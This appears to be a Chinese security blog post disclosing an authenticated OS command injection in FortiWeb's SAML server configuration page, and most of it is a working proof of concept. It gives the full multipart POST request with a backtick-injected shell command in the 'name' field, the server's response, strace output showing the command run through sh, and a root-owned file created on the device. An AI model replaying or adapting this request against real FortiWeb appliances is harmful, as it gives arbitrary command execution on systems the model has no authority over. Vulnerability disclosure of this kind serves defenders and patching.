0day Fortinet FortiWeb OS 命令注入
007bug2021-08-21 11:32:04
FortiWeb 管理界面(版本 6.3.11 及更早版本)中的操作系统命令注入漏洞可允许远程、经过身份验证的攻击者通过 SAML 服务器配置页面在系统上执行任意命令。
POC:
POST /api/v2.0/user/remoteserver.saml HTTP/1.1 Host: [redacted] Cookie: [redacted] User-Agent: [redacted] Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[redacted]/root/user/remote-user/saml-user/ X-Csrftoken: 814940160 Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412 Content-Length: 3068 Origin: https://[redacted] Dnt: 1 Te: trailers Connection: close -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="q_type" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="name" `touch /tmp/vulnerable` -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="entityID" test -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="service-path" /saml.sso -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="session-lifetime" 8 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="session-timeout" 30 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-bind" post -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-bind_val" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-path" /SAML2/POST -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-bind" post -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-bind_val" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-path" /SLO/POST -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="flag" 0 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="enforce-signing" disable -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="enforce-signing_val" 0 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="metafile"; filename="test.xml" Content-Type: text/xml "1.0" ?> test test urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified -----------------------------94351131111899571381631694412-- HTTP/1.1 500 Internal Server Error Date: Thu, 10 Jun 2021 11:59:45 GMT Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Set-Cookie: [redacted] X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff Content-Length: 20 Strict-Transport-Security: max-age=63072000 Connection: close Content-Type: application/json {"errcode": "-651"}
“touch”命令连接在 mkdir shell 命令中:
[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0 [pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0 [pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0 [pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0
在 FortiWeb 设备的本地命令行上看到“touch”命令的结果:
/# ls -l /tmp/vulnerable-rw-r--r-- 1 root 0 0 Jun 10 11:59 /tmp/vulnerable/#

007bug
暂无描述